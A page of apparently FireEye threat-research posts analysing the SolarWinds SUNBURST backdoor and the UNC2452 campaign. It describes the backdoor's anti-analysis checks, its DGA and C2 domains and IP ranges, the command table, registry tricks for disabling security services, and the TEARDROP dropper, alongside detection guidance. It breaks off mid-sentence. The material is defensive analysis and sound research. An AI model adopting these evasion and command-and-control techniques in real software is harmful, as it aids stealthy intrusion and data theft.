order to use the legitimate permissions assigned to the application, such as the ability to read email, send email as an arbitrary user, access user calendars, etc. Modify the permissions of folders in a victim mailbox (such as the inbox) to make its contents readable by any other user in the victim’s Microsoft 365 environment. Read the white paper for a detailed overview of each technique, including practical remediation and hardening strategies, and check out our auditing script, Azure AD Investigator.   Detections FireEye Helix Detection MITRE Technique Detection Logic MICROSOFT AZURE ACTIVE DIRECTORY [Risky Sign-In] T1078.004 Alert on suspicious logon activity as detected by Azure Identity Protection OFFICE 365 [Federated Domain Set] T1550 Alert on new domain federation in Office 365 OFFICE 365 [Modified Domain Federation Settings]   T1550 Alert of modification to domain federations settings in Office 365 OFFICE 365 [User Added Credentials to Service Principal] T1098.011 Alert on addition of certificates or passwords added to Service Principals OFFICE 365 ANALYTICS [Abnormal Logon]   T1078.004 Alert on suspicious login activity based on heuristics WINDOWS METHODOLOGY [ADFS Dump] TA0006 T1552 T1552.004 T1199 Alert on activity access requests for the AD FS Distributed Key Manager (DKM) container in Active Directory OFFICE 365 [Mailbox Folder Permission Change – Inbox and Top Of Information Store] T1098.002 Alert on suspicious modifications of mailbox folder permissions for the inbox or top of information store.

  • SUNBURST Additional Technical Details
    by Stephen Eckels on December 24, 2020 at 8:15 pm

    FireEye has discovered additional details about the SUNBURST backdoor since our initial publication on Dec. 13, 2020. Before diving into the technical depth of this malware, we recommend readers familiarize themselves with our blog post about the SolarWinds supply chain compromise, which revealed a global intrusion campaign by a sophisticated threat actor we are currently tracking as UNC2452. SUNBURST is a trojanized version of a digitally signed SolarWinds Orion plugin called SolarWinds.Orion.Core.BusinessLayer.dll. The plugin contains a backdoor that communicates via HTTP to third party servers. After an initial dormant period of up to two weeks, SUNBURST may retrieve and execute commands that instruct the backdoor to transfer files, execute files, profile the system, reboot the system, and disable system services. The malware’s network traffic attempts to blend in with legitimate SolarWinds activity by imitating the Orion Improvement Program (OIP) protocol and persistent state data is stored within legitimate plugin configuration files. The backdoor uses multiple obfuscated blocklists to identify processes, services, and drivers associated with forensic and anti-virus tools. In this post, the following topics are covered in greater detail: Anti-Analysis Environment Checks and Blocklists Domain Generation Algorithm and Variations Command and Control (C2) behaviors for DNS A and CNAME records Malware modes of operation Anti-Analysis Environment Checks Before reaching out to its C2 server, SUNBURST performs numerous checks to ensure no analysis tools are present. It checks process names, file write timestamps, and Active Directory (AD) domains before proceeding. We believe that these checks helped SUNBURST evade detection by anti-virus software and forensic investigators for seven months after its introduction to the SolarWinds Orion supply chain. First, the backdoor verifies that the lowercase name of the current process is solarwinds.businesslayerhost. UNC2452 avoided including this string directly in the source code by computing a hash of the string and comparing the result to the 64-bit number 17291806236368054941. The hash value is calculated as a standard FNV-1A 64-bit hash with an additional XOR by the 64-bit number 6605813339339102567. The additional XOR operation forces malware analysts to develop custom tools to brute force the hash preimage. Next, the backdoor only executes if the filesystem last write time of the .NET assembly SolarWinds.Orion.Core.BusinessLayer.dll is at least 12 to 14 days prior to the current time. The exact threshold is selected randomly from this interval. In other words, SUNBURST lays low for almost two weeks before raising its head. If the timestamp check fails, the backdoor will execute again at a random later time when it is invoked by a legitimate recurring background task. Once the threshold is met, the sample creates the named pipe 583da945-62af-10e8-4902-a8f205c72b2e to ensure only one instance of the backdoor is running. If the named pipe already exists, the malware exits. SUNBURST stores its configuration in the legitimate SolarWinds.Orion.Core.BusinessLayer.dll.config file. It repurposes two existing settings in the appSettings section:  ReportWatcherRetry and ReportWatcherPostpone. During initialization, the backdoor determines if the ReportWatcherRetry setting is the value 3. This value indicates the malware has been deactivated and will no longer perform any network activity. As we describe later, UNC2452 can command the backdoor to disable itself. This feature may be utilized when the operator determines the victim is not of interest or that they’ve completed their mission. When investigating a system compromised by SUNBURST, review this setting to determine if the backdoor has been disabled. Note, the presence of this value does not offer proof the actor did not further compromise the environment before disabling SUNBURST. The backdoor also determines if the system is joined to an Active Directory (AD) domain and, if so, retrieves the domain name. Execution ceases if the system is not joined to an AD domain. SUNBURST checks the AD domain name against a blocklist and halts execution if it contains one of the following values: swdev.local emea.sales pci.local apac.lab swdev.dmz cork.lab saas.swi dmz.local lab.local dev.local lab.rio lab.brno lab.na test solarwinds   We suspect these hard-coded AD domains may be SolarWinds internal domains that UNC2452 wanted to avoid. Finally, SUNBURST verifies the system has internet connectivity by ensuring it can resolve the DNS name api.solarwinds.com. Otherwise, execution stops and retries at a random later time. Anti-Analysis Blocklists SUNBURST’s behavior is affected by the presence of malware analysis and security software. To disguise the strings used to detect these security tools, UNC2452 calculated and embedded a hash value for each string. While it is trivial for the backdoor to check for the existence of a hashed process name, it is computationally expensive to determine what string a hash value corresponds to (the “preimage”). However, thanks to some hard work by members of the information security community, the hashes have been successfully brute-forced. The list of hashes and their corresponding strings can be viewed at this FireEye GitHub page. SUNBURST uses the aforementioned FNV-1A plus XOR algorithm to compute the hash of each process name, service name, and driver filename on the system. If a blocklisted process or driver name is found, SUNBURST pauses and tries again later. The backdoor continues past this check only when there are no processes nor drivers from the blocklist present. If a blocklisted service is found, SUNBURST attempts to disable the blocklisted service by manipulating the service configuration in the Windows Registry. It sets the registry value HKLM\SYSTEM\CurrentControlSet\services\<service_name>\Start to the value 4, which corresponds to SERVICE_DISABLED. As a result, the blocklisted service is disabled on the next power cycle. This means the presence of a blocklisted service on a compromised host does not make a system immune to SUNBURST. After the registry modification is made, SUNBURST updates the ReportWatcherPostpone configuration value to reflect the service it disabled. Then, the backdoor pauses and retries the process and service blocklist checks at a later time. Subsequent service blocklist checks skip services already present in the ReportWatcherPostpone configuration key. SUNBURST will not treat the services it has disabled as members of the blocklist anymore. Therefore, during an incident response, forensic teams should consider recovering and decoding this configuration key to parse out which services SUNBURST attempted to disable. Domain Generation Algorithm In this section we describe how SUNBURST uses an intermediary command and control (C2) coordinator to retrieve its final C2 server. The C2 coordinator instructs the backdoor to continue or halt beaconing. It also redirects SUNBURST to its final C2 server via DNS CNAME records. We believe this enables UNC2452 to compartmentalize their operations, limiting the network infrastructure shared among victims. The C2 coordinator is implemented as the authoritative DNS server for the avsvmcloud[.]com domain. To communicate with the C2 coordinator, SUNBURST uses a Domain Generation Algorithm (DGA) to construct subdomains of avsvmcloud[.]com and resolves the fully qualified domain names (FQDN) using the system DNS client. The backdoor interprets the DNS responses in an unusual way to receive orders from the C2 coordinator. The DGA generates subdomains with the following DNS suffixes to create the FQDN: .appsync-api.eu-west-1[.]avsvmcloud[.]com .appsync-api.us-west-2[.]avsvmcloud[.]com .appsync-api.us-east-1[.]avsvmcloud[.]com .appsync-api.us-east-2[.]avsvmcloud[.]com A method named Update is responsible for initializing cryptographic helpers for the generation of these random-looking C2 subdomains. Subdomains are generated by concatenating an encoded user ID with an encoding of the system’s domain name. The C2 coordinator can recover the victim domain name from the encoded data and likely uses this to route SUNBURST to its final C2 server. A user ID is generated based on three values: MAC address of the first available, non-loopback network interface Domain name HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid value SUNBURST takes the MD5 hash of these combined values and encodes it using a custom XOR scheme. We believe this value is used by UNC2452 to track unique victims. SUNBURST uses four different forms of subdomains to signify the operating mode of the backdoor. Each form contains slightly different information. However, in two of the forms, investigators can recover the domain names of victim organizations. We recommend reviewing DNS logs to confirm the presence of a victim’s domain in SUNBURST C2 coordinator traffic. When SUNBURST is in its initial mode, it embeds the domain of the victim organization in its DGA-generated domain prefix. Once the malware transitions to an “active” mode, the malware uses the other two forms of subdomains. These do not include the AD domain, but instead include encodings of either the list of running and stopped services or a timestamp. The open-source community has done a fantastic job reverse engineering many of the subdomain forms. While we are not aware of any public decoder scripts that reverse all four possible encodings, most decoders focus on recovering the most useful information: the user ID and domain name embedded in the subdomains. We recommend that incident responders for victim organizations with access to DNS logs use these tools to confirm their AD domains are not embedded within SUNBURST generated DNS subdomains. Note that this does not indicate follow-on activity. The following sources may be referenced for decoding such domains: https://securelist.com/sunburst-connecting-the-dots-in-the-dns-requests/99862/ https://github.com/RedDrip7/SunBurst_DGA_Decode https://blog.cloudflare.com/a-quirk-in-the-sunburst-dga-algorithm/ Figure 1: Diagram of actor operations and usage of SUNBURST Command and Control SUNBURST uses a two-part C2 protocol that involves both DNS and HTTP. In “passive” mode, the backdoor communicates with its C2 coordinator via DNS and receives high-level updates to its state. For example, the C2 coordinator may tell the backdoor to go to sleep or spring into action. When the backdoor is in “active” mode, it communicates via HTTP to its final C2 server and receives detailed commands such as “spawn a process” or “transfer a file”. DNS C2 and the C2 Coordinator Protocol When communicating with the C2 coordinator, the backdoor continuously generates domains via its DGA. The backdoor delays execution for random intervals between generating domains. In some cases, this delay is up to 9 hours. If the C2 coordinator responds with a DNS A record, SUNBURST checks the resolved address against a hard-coded list of IP address blocks. If the address falls within a block, the backdoor transitions into an associated mode. The backdoor starts in the “passive” mode where it does nothing but check blocklists, sleep, and beacon via DNS until a transition is seen. Other modes are “active”, in which the malware communicates via HTTP, and “disabled”, in which the malware is permanently disabled. These modes and transitions are defined in the Modes of Operation section. The C2 coordinator may also respond with a DNS CNAME response. In this case, the malware uses the pointed-to domain from the CNAME response for HTTPS C2 communications. SUNBURST starts a thread to handle command execution and further C2 HTTP(S) callouts. As an investigator, if you see CNAME resolutions for subdomains of avsvmcloud[.]com, it‘s possible that UNC2452 initiated follow-on C2 within the environment. Note, the malware must receive a DNS A record response pointing to one of the following subnets immediately prior to receiving a DNS CNAME response. Otherwise, the CNAME resolution will be ignored and treated as an error. In addition, for these subnets, the least-significant bytes from the A record IP address are parsed to obtain configuration data such as the proxy method to use, the URI scheme to use, and a delay value used in the HTTP thread. 18.130.0.0/16 99.79.0.0/16 184.72.0.0/15 Subsequent DNS A record responses in the following subnet ranges cause the DGA beaconing to continue. 8.18.144.0/23 18.130.0.0/16 71.152.53.0/24 99.79.0.0/16 87.238.80.0/21 199.201.117.0/24 184.72.0.0/15   Otherwise, subsequent DNS A record responses in the following subnet ranges cause SUNBURST to terminate and update the configuration key ReportWatcherRetry to a value that prevents further execution. This is the killswitch. 10.0.0.0/8 fc00:: – fe00:: 96.31.172.0/24 172.16.0.0/12 fec0:: – ffc0:: 131.228.12.0/22 192.168.0.0/16 ff00:: – ff00:: 144.86.226.0/24 224.0.0.0/3 20.140.0.0/15   While in “active” mode, the DGA subdomain encoding does not include victim machine domain name information. Instead, the DGA subdomains encode a timestamp or the list of stopped/running services. To transition back to “passive” mode, the malware operator may set the DNS server to resolve A records within the following IP ranges: 41.84.159.0/24 74.114.24.0/21 154.118.140.0/24 217.163.7.0/24 If the malware is transitioned from the “active” mode back to “passive”, the C2 coordinator must repeat the activation process if the operator wants to re-activate the sample. HTTP(S) C2 After receiving a CNAME DNS response with a new host to communicate with, SUNBURST starts a new thread to execute the method HttpHelper.Initialize. This method is responsible for the C2 communications and dispatching. The HTTP thread begins by delaying for a configurable amount of time that is controlled by the SetTime command. The HTTP thread delays for a minimum of one minute between callouts. The malware uses HTTP GET or POST requests. The sample disables certificate verification so it is possible to decrypt HTTPS traffic if SSL man-in-the-middle is performed. The malware constructs HTTP GET or POST request URIs from random selections of substrings. The scheme used depends on the A record received just prior to the CNAME DNS response. When sending a GET request, the malware adds an “If-None-Match” HTTP header that includes the encoded user ID. This likely allows the C2 server to determine which SUNBURST installation generated the request, further enabling multiplexing of C2 streams on a single server. In observed traffic, the C2 server employs steganography to hide data within HTTP response bodies and attempts to appear as benign XML related to .NET assemblies. Command data is spread across many GUID and hexadecimal strings. Commands are extracted from HTTP response bodies by searching for hexadecimal strings using the following regular expression: “\{[0-9a-f-]{36}\}”|”[0-9a-f]{32}”|”[0-9a-f]{16}”. Matched substrings in the response are filtered for non-hex characters, joined together, and hex-decoded. Depending on the mode of operation, the malware may skip the steganography and send the encoded response in an HTTP response body. Figure 2: C2 response embeds commands in XML GUIDs In the received C2 response, the first DWORD value indicates the actual size of the message. This value is followed immediately by the message with optional junk bytes added. The extracted message is single-byte XOR decoded using the first byte of the message. The result is then DEFLATE decompressed. The first character of the decompressed data is an ASCII integer that maps to a command ID, with optional additional command arguments delimited by space characters. The supported commands are shown in the following table. Command ID Operation Idle 0  No operation  Exit 1  Terminate the current thread.  SetTime 2  Sets the delay time between main event loop executions Delay is in seconds, and varies random between [.9 * <delay>, 1.1 * <delay>]  If the delay is < 300 it is doubled on the next execution through the loop, this means it should settle onto an interval of around [5, 10] minutes  o There is a second, unrelated delay routine that delays for a random interval between [16hrs, 83hrs]    CollectSystemDescription 3  Profile the local system including hostname, username, OS version, MAC addresses, IP address, DHCP configuration, and domain information.  UploadSystemDescription 4  Perform an HTTP request to the specified URL, parse the results and send the response to the C2 server.  RunTask 5  Starts a new process with the given file path and arguments  GetProcessByDescription 6  Returns a process listing. If no arguments are provided, returns just the PID and process name.  If an argument is provided, it also returns the parent PID and username and domain for the process owner.  KillTask 7  Terminate the given process, by PID.  GetFileSystemEntries 8  Given a path, and a match pattern recursively list files and directories. WriteFile 9  Given a file path and a Base64-encoded string write the contents of the Base64 string to the given file path. Write using append mode. Delay for [1s, 2s] after writing is done.  FileExists 10  Tests whether the given file path exists.  DeleteFile 11  Deletes the specified file path.  GetFileHash 12  Compute the MD5 of a file at a given path and return the result as a hex string. If an argument is provided, it is the expected MD5 hash of the file and returns an error if the calculated MD5 differs.  ReadRegistryValue 13  Arbitrary registry read from one of the supported hives. SetRegistryValue 14  Arbitrary registry write from one of the supported hives.  DeleteRegistryValue 15  Arbitrary registry delete from one of the supported hives. GetRegistrySubKeyAndValueNames 16  Returns listing of subkeys and value names beneath the given registry path. Reboot 17  Attempts to immediately trigger a system reboot.  SUNBURST sends messages back to the C2 server using a protocol that consists of UTF-8 strings and an appended 4-byte error DWORD and 8-byte userID. These are bare DEFLATE compressed and single-byte XOR encoded with the XOR key prepended to the message. Message payloads of length 10,000 or less are turned into JSON documents that resemble the Orion Improvement Program (OIP) messages used legitimately by SolarWinds. Messages larger than 10,000 bytes are sent as-is in the HTTP request body. The fake OIP document contains the following fields: userId – a unique identifier for the victim machine sessionID – stores a new random GUID for each HTTP thread steps – an array of objects that contain the following keys: Timestamp, Index, EventType, EventName, DurationMs, Succeeded, and Message. The JSON key EventType is hard-coded to the value Orion and the EventName is hard-coded to EventManager. The encoded message to send to the C2 server is split up into random ranges, Base64-encoded, and stored in the Message field of the objects in the steps array. Not all objects in the steps array contribute to the malware response. The integer in the Timestamp field must have the 0x2 bit set to indicate the contents of the Message field are used in the malware response. steps objects whose 0x2 bit is clear in the Timestamp field contain random data and are discarded when assembling the malware response. This may be an attempt to hinder analysis in the absence of the malware sample. Figure 3: HTTP callout masquerades as OIP protocol Modes of Operation As detailed in the DGA section, the malware has multiple modes of operation configured by the IP block that A records resolve to as well as depending on if CNAME records exist. These modes of operation are stored in internal enumerations. These mappings and values are described next. Internal Modes The following modes govern internal operations of the malware: Mode Name Value Description Truncate 3 Disabled; the malware killswitch has been activated and the sample may never run again without external modification to the XML configuration on-disk. New 4 Passive mode; DGA subdomains encode the system’s domain name Append 5 Active mode; C2 beaconing will occur on next CNAME resolve or is already actively occurring. DGA domains encode either the userID or the list of services The mode values are written into the backdoor configuration key ReportWatcherRetry. Investigators may consider recovering the malware configuration and inspecting this configuration value to determine the last running mode of the malware. The following transitions govern how IP block ranges are translated into running modes: Transition Name Description Atm Transition to Truncate Ipx Transition from Append to New ImpLink Transition to Truncate NetBios Transition to Append, either start or continue C2 beaconing Unknown Not an IPv4 or IPv6 address, exit and retry DGA later The following diagram describes how the SUNBURST’s DGA DNS responses act as mode transitions to control the malware before HTTP-based C2 beaconing has even begun: Additionally, here is an annotated network log showing how a sequence of DNS resolutions can transition the malware mode: To end this discussion of modes and transitions, a small note about the choices of these IP blocks. In cases such as the ImpLink IP blocks that activate the killswitch, it’s likely that the ranges were specifically chosen by the attacker to avoid being discovered by security researchers. In other cases, such as the NetBios and “special” NetBios IP blocks, the companies these blocks resolve to is likely irrelevant or at least beyond what can be definitively said without speculation. Malware Flow Diagram The following diagram provides a full picture of the malware’s execution. Internally, SUNBURST uses a set of modes and transitions as described earlier. The names of these modes and transitions have no meaning. The malware authors purposely chose them as a form of obfuscation. When diagraming the malware’s execution, these names were reused for clarity. Figure 4: Malware logic and decision states Q&A Is a system running blocklisted processes, services, or drivers safe from compromise? Sometimes, but not always. SUNBURST unconditionally exits if blocklisted processes or drivers are found and will not run until they are no longer detected. On the other hand, services are disabled by setting a registry value that controls startup initialization and are not explicitly stopped. As a result, a blocklisted service may still be running when the malware performs its service checks later. For this reason, it is possible for a victim system to be infected while a blocklisted service is running. Additionally, SUNBURST only attempts to disable a service once and updates its configuration to mark the service as disabled. Once the configuration is updated, the service is not treated as a blocklisted entry during subsequent execution.  Does observing one DGA encoding over another provide any information during incident response? Short answer: it provides a hint for where to look but isn’t a be-all tell-all alone. Noticing the DGA encoding change in network logs is a hint that the malware may have moved from New to Append or Append to New. This puts the malware in a mode where if a CNAME record is seen soon after, then HTTP C2 can begin. Incident response should focus on trying to identify CNAME records being successfully resolved instead of focusing on DGA encodings entirely. Identifying CNAME records is easier than tracking the malware mode through logs and a stronger signal. What is the “killswitch”? FireEye discovered that certain DNS responses cause the malware to disable itself and stop further network activity. With the support and help of GoDaddy’s Abuse Team and the Microsoft Threat Intelligence Center, the domain used for resolving DGA domains was reconfigured to point to a sinkhole server under Microsoft’s control. The IP of this sinkhole server was specially chosen to fall into the range used by the malware to transition from its current mode (New or Append) into Truncate mode where it will be permanently inactive. In other words, SUNBURST infections should now be inoculated due to the killswitch. When C2 communication occurs, is a CNAME record required? CNAME records are required for HTTP C2 beaconing to occur and are provided by the C2 coordinator to specify the final C2 server. C2 activity must occur over a domain name provided via a CNAME record. It cannot occur directly via a raw IP. To initialize C2 beaconing, the backdoor first looks for an A record response from one of its special NetBios subnets and subsequently expects to receive a CNAME record. If a DGA domain is decoded to a company domain name, is that company compromised? When the backdoor is in “passive” mode it uses the DGA encoding which embeds victim AD domain names. This means that any system where the backdoor is present may have started trying to contact DNS servers where an attacker could then activate the backdoor to begin active C2 communications. In most cases this did not occur and backdoors for non-targets were disabled by the operator. Therefore, it cannot be assumed that an organization experienced follow-on activity if their domain is decoded from any DNS logs. Specifically, it’s only an indicator that the backdoor code was present and capable of being activated. Public Contributions We have seen substantial community contributions to our public SUNBURST GitHub repository. We would like to publicly thank all contributors to this repository. Specifically, all FNV hashes embedded within SUNBURST have been brute-forced. This is a huge amount of compute power that members of the community provided free-of-charge to help others. We want to thank everyone who contributed hashes and specifically callout the Hashcat community, which organized to systematically break each hash. This was essential for breaking the final few hashes whose preimage were of considerable length. Acknowledgements Matthew Williams, Michael Sikorski, Alex Berry and Robert Wallace. For additional information on UNC2452, register for our webinar, UNC2452: What We Know So Far, on Tuesday, Jan. 12, at 8 a.m. PT/11 a.m. ET.

  • Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor
    by FireEye on December 13, 2020 at 10:00 pm

    Executive Summary We have discovered a global intrusion campaign. We are tracking the actors behind this campaign as UNC2452. FireEye discovered a supply chain attack trojanizing SolarWinds Orion business software updates in order to distribute malware we call SUNBURST.  The attacker’s post compromise activity leverages multiple techniques to evade detection and obscure their activity, but these efforts also offer some opportunities for detection. The campaign is widespread, affecting public and private organizations around the world. FireEye is releasing signatures to detect this threat actor and supply chain attack in the wild. These are found on our public GitHub page. FireEye products and services can help customers detect and block this attack. Summary FireEye has uncovered a widespread campaign, that we are tracking as UNC2452. The actors behind this campaign gained access to numerous public and private organizations around the world. They gained access to victims via trojanized updates to SolarWind’s Orion IT monitoring and management software. This campaign may have begun as early as Spring 2020 and is currently ongoing. Post compromise activity following this supply chain compromise has included lateral movement and data theft. The campaign is the work of a highly skilled actor and the operation was conducted with significant operational security. SUNBURST Backdoor SolarWinds.Orion.Core.BusinessLayer.dll is a SolarWinds digitally-signed component of the Orion software framework that contains a backdoor that communicates via HTTP to third party servers. We are tracking the trojanized version of this SolarWinds Orion plug-in as SUNBURST. After an initial dormant period of up to two weeks, it retrieves and executes commands, called “Jobs”, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services. The malware masquerades its network traffic as the Orion Improvement Program (OIP) protocol and stores reconnaissance results within legitimate plugin configuration files allowing it to blend in with legitimate SolarWinds activity. The backdoor uses multiple obfuscated blocklists to identify forensic and anti-virus tools running as processes, services, and drivers. Figure 1: SolarWinds digital signature on software with backdoor Multiple trojanzied updates were digitally signed from March – May 2020 and posted to the SolarWinds updates website, including: hxxps://downloads.solarwinds[.]com/solarwinds/CatalogResources/Core/2019.4/2019.4.5220.20574/SolarWinds-Core-v2019.4.5220-Hotfix5.msp The trojanized update file is a standard Windows Installer Patch file that includes compressed resources associated with the update, including the trojanized SolarWinds.Orion.Core.BusinessLayer.dll component. Once the update is installed, the malicious DLL will be loaded by the legitimate SolarWinds.BusinessLayerHost.exe or SolarWinds.BusinessLayerHostx64.exe (depending on system configuration). After a dormant period of up to two weeks, the malware will attempt to resolve a subdomain of avsvmcloud[.]com. The DNS response will return a CNAME record that points to a Command and Control (C2) domain. The C2 traffic to the malicious domains is designed to mimic normal SolarWinds API communications. The list of known malicious infrastructure is available on FireEye’s GitHub page. Worldwide Victims Across Multiple Verticals FireEye has detected this activity at multiple entities worldwide. The victims have included government, consulting, technology, telecom and extractive entities in North America, Europe, Asia and the Middle East. We anticipate there are additional victims in other countries and verticals. FireEye has notified all entities we are aware of being affected. Post Compromise Activity and Detection Opportunities We are currently tracking the software supply chain compromise and related post intrusion activity as UNC2452. After gaining initial access, this group uses a variety of techniques to disguise their operations while they move laterally (Figure 2). This actor prefers to maintain a light malware footprint, instead preferring legitimate credentials and remote access for access into a victim’s environment. Figure 2: Post-compromise tactics This section will detail the notable techniques and outline potential opportunities for detection. TEARDROP and BEACON Malware Used Multiple SUNBURST samples have been recovered, delivering different payloads. In at least one instance the attackers deployed a previously unseen memory-only dropper we’ve dubbed TEARDROP to deploy Cobalt Strike BEACON. TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file “gracious_truth.jpg”, which likely has a fake JPG header. Next it checks that HKU\SOFTWARE\Microsoft\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware. We believe that this was used to execute a customized Cobalt Strike BEACON. Mitigation: FireEye has provided two Yara rules to detect TEARDROP available on our GitHub. Defenders should look for the following alerts from FireEye HX: MalwareGuard and WindowsDefender: Process Information file_operation_closed file-path*: “c:\\windows\\syswow64\\netsetupsvc.dll actor-process: pid: 17900 Window’s defender Exploit Guard log entries: (Microsoft-Windows-Security-Mitigations/KernelMode event ID 12)            Process”\Device\HarddiskVolume2\Windows\System32\svchost.exe” (PID XXXXX) would have been blocked from loading the non-Microsoft-signed binary ‘\Windows\SysWOW64\NetSetupSvc.dll’ Attacker Hostnames Match Victim Environment The actor sets the hostnames on their command and control infrastructure to match a legitimate hostname found within the victim’s environment. This allows the adversary to blend into the environment, avoid suspicion, and evade detection. Detection Opportunity The attacker infrastructure leaks its configured hostname in RDP SSL certificates, which is identifiable in internet-wide scan data. This presents a detection opportunity for defenders — querying internet-wide scan data sources for an organization’s hostnames can uncover malicious IP addresses that may be masquerading as the organization. (Note: IP Scan history often shows IPs switching between default (WIN-*) hostnames and victim’s hostnames) Cross-referencing the list of IPs identified in internet scan data with remote access logs may identify evidence of this actor in an environment. There is likely to be a single account per IP address. IP Addresses located in Victim’s Country The attacker’s choice of IP addresses was also optimized to evade detection. The attacker primarily used only IP addresses originating from the same country as the victim, leveraging Virtual Private Servers. Detection Opportunity This also presents some detection opportunities, as geolocating IP addresses used for remote access may show an impossible rate of travel if a compromised account is being used by the legitimate user and the attacker from disparate IP addresses. The attacker used multiple IP addresses per VPS provider, so once a malicious login from an unusual ASN is identified, looking at all logins from that ASN can help detect additional malicious activity. This can be done alongside baselining and normalization of ASN’s used for legitimate remote access to help identify suspicious activity. Lateral Movement Using Different Credentials Once the attacker gained access to the network with compromised credentials, they moved laterally using multiple different credentials. The credentials used for lateral movement were always different from those used for remote access. Detection Opportunity Organizations can use HX’s LogonTracker module to graph all logon activity and analyze systems displaying a one-to-many relationship between source systems and accounts. This will uncover any single system authenticating to multiple systems with multiple accounts, a relatively uncommon occurrence during normal business operations. Temporary File Replacement and Temporary Task Modification The attacker used a temporary file replacement technique to remotely execute utilities: they replaced a legitimate utility with theirs, executed their payload, and then restored the legitimate original file. They similarly manipulated scheduled tasks by updating an existing legitimate task to execute their tools and then returning the scheduled task to its original configuration. They routinely removed their tools, including removing backdoors once legitimate remote access was achieved. Detection Opportunity Defenders can examine logs for SMB sessions that show access to legitimate directories and follow a delete-create-execute-delete-create pattern in a short amount of time. Additionally, defenders can monitor existing scheduled tasks for temporary updates, using frequency analysis to identify anomalous modification of tasks. Tasks can also be monitored to watch for legitimate Windows tasks executing new or unknown binaries. This campaign’s post compromise activity was conducted with a high regard for operational security, in many cases leveraging dedicated infrastructure per intrusion. This is some of the best operational security that FireEye has observed in a cyber attack, focusing on evasion and leveraging inherent trust. However, it can be detected through persistent defense. In-Depth Malware Analysis SolarWinds.Orion.Core.BusinessLayer.dll (b91ce2fa41029f6955bff20079468448) is a SolarWinds-signed plugin component of the Orion software framework that contains an obfuscated backdoor which communicates via HTTP to third party servers. After an initial dormant period of up to two weeks, it retrieves and executes commands, called “Jobs”, that include the ability to transfer and execute files, profile the system, and disable system services. The backdoor’s behavior and network protocol blend in with legitimate SolarWinds activity, such as by masquerading as the Orion Improvement Program (OIP) protocol and storing reconnaissance results within plugin configuration files. The backdoor uses multiple blocklists to identify forensic and anti-virus tools via processes, services, and drivers. Unique Capabilities Subdomain DomainName Generation Algorithm (DGA) is performed to vary DNS requestsCNAME responses point to the C2 domain for the malware to connect to The IP block of A record responses controls malware behavior DGA encoded machine domain name, used to selectively target victims Command and control traffic masquerades as the legitimate Orion Improvement Program Code hides in plain site by using fake variable names and tying into legitimate components Delivery and Installation Authorized system administrators fetch and install updates to SolarWinds Orion via packages distributed by SolarWinds’s website. The update package CORE-2019.4.5220.20574-SolarWinds-Core-v2019.4.5220-Hotfix5.msp (02af7cec58b9a5da1c542b5a32151ba1) contains the SolarWinds.Orion.Core.BusinessLayer.dll described in this report. After installation, the Orion software framework executes the .NET program SolarWinds.BusinessLayerHost.exe to load plugins, including SolarWinds.Orion.Core.BusinessLayer.dll. This plugin contains many legitimate namespaces, classes, and routines that implement functionality within the Orion framework. Hidden in plain sight, the class SolarWinds.Orion.Core.BusinessLayer.OrionImprovementBusinessLayer implements an HTTP-based backdoor. Code within the logically unrelated routine SolarWinds.Orion.Core.BusinessLayer.BackgroundInventory.InventoryManager.RefreshInternal invokes the backdoor code when the Inventory Manager plugin is loaded. SolarWinds.Orion.Core.BusinessLayer.dll is signed by SolarWinds, using the certificate with serial number 0f:e9:73:75:20:22:a6:06:ad:f2:a3:6e:34:5d:c0:ed. The file was signed on March 24, 2020. Initialization On execution of the malicious SolarWinds.Orion.Core.BusinessLayer.OrionImprovementBusinessLayer.Initialize method the sample verifies that its lower case process name hashes to the value 17291806236368054941. This hash value is calculated as the standard FNV-1A 64-bit hash with an additional XOR by 6605813339339102567 after computing the FNV-1A. This hash matches a process named “solarwinds.businesslayerhost”. The sample only executes if the filesystem write time of the assembly is at least 12 to 14 days prior to the current time; the exact threshold is selected randomly from an interval. The sample continues to check this time threshold as it is run by a legitimate recurring background task. Once the threshold is met, the sample creates the named pipe 583da945-62af-10e8-4902-a8f205c72b2e to act as a guard that only one instance is running before reading SolarWinds.Orion.Core.BusinessLayer.dll.config from disk and retrieving the XML field appSettings. The appSettings fields’ keys are legitimate values that the malicious logic re-purposes as a persistent configuration. The key ReportWatcherRetry must be any value other than 3 for the sample to continue execution. The sample checks that the machine is domain joined and retrieves the domain name before execution continues. A userID is generated by computing the MD5 of a network interface MAC address that is up and not a loopback device, the domain name, and the registry value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid. The userID is encoded via a custom XOR scheme after the MD5 is calculated. The ReportWatcherPostpone key of appSettings is then read from SolarWinds.Orion.Core.BusinessLayer.dll.config to retrieve the initial, legitimate value. This operation is performed as the sample later bit packs flags into this field and the initial value must be known in order to read out the bit flags. The sample then invokes the method Update which is the core event loop of the sample. DGA and Blocklists The backdoor determines its C2 server using a Domain Generation Algorithm (DGA) to construct and resolve a subdomain of avsvmcloud[.]com. The Update method is responsible for initializing cryptographic helpers for the generation of these random C2 subdomains. Subdomains are generated by concatenating a victim userId with a reversible encoding of the victims local machine domain name. The attacker likely utilizes the DGA subdomain to vary the DNS response to victims as a means to control the targeting of the malware. These subdomains are concatenated with one of the following to create the hostname to resolve: .appsync-api.eu-west-1[.]avsvmcloud[.]com .appsync-api.us-west-2[.]avsvmcloud[.]com .appsync-api.us-east-1[.]avsvmcloud[.]com .appsync-api.us-east-2[.]avsvmcloud[.]com Process name, service name, and driver path listings are obtained, and each value is hashed via the FNV-1a + XOR algorithm as described previously and checked against hardcoded blocklists. Some of these hashes have been brute force reversed as part of this analysis, showing that these routines are scanning for analysis tools and antivirus engine components. If a blocklisted process is found the Update routine exits and the sample will continue to try executing the routine until the blocklist passes. Blocklisted services are stopped by setting their HKLM\SYSTEM\CurrentControlSet\services\<service_name>\Start registry entries to value 4 for disabled. Some entries in the service list if found on the system may affect the DGA algorithms behavior in terms of the values generated. The list of stopped services is then bit-packed into the ReportWatcherPostpone key of the appSettings entry for the samples’ config file. If any service was transitioned to disabled the Update method exits and retries later. The sample retrieves a driver listing via the WMI query Select * From Win32_SystemDriver. If any blocklisted driver is seen the Update method exits and retries. If all blocklist tests pass, the sample tries to resolve api.solarwinds.com to test the network for connectivity. Network Command and Control (C2) If all blocklist and 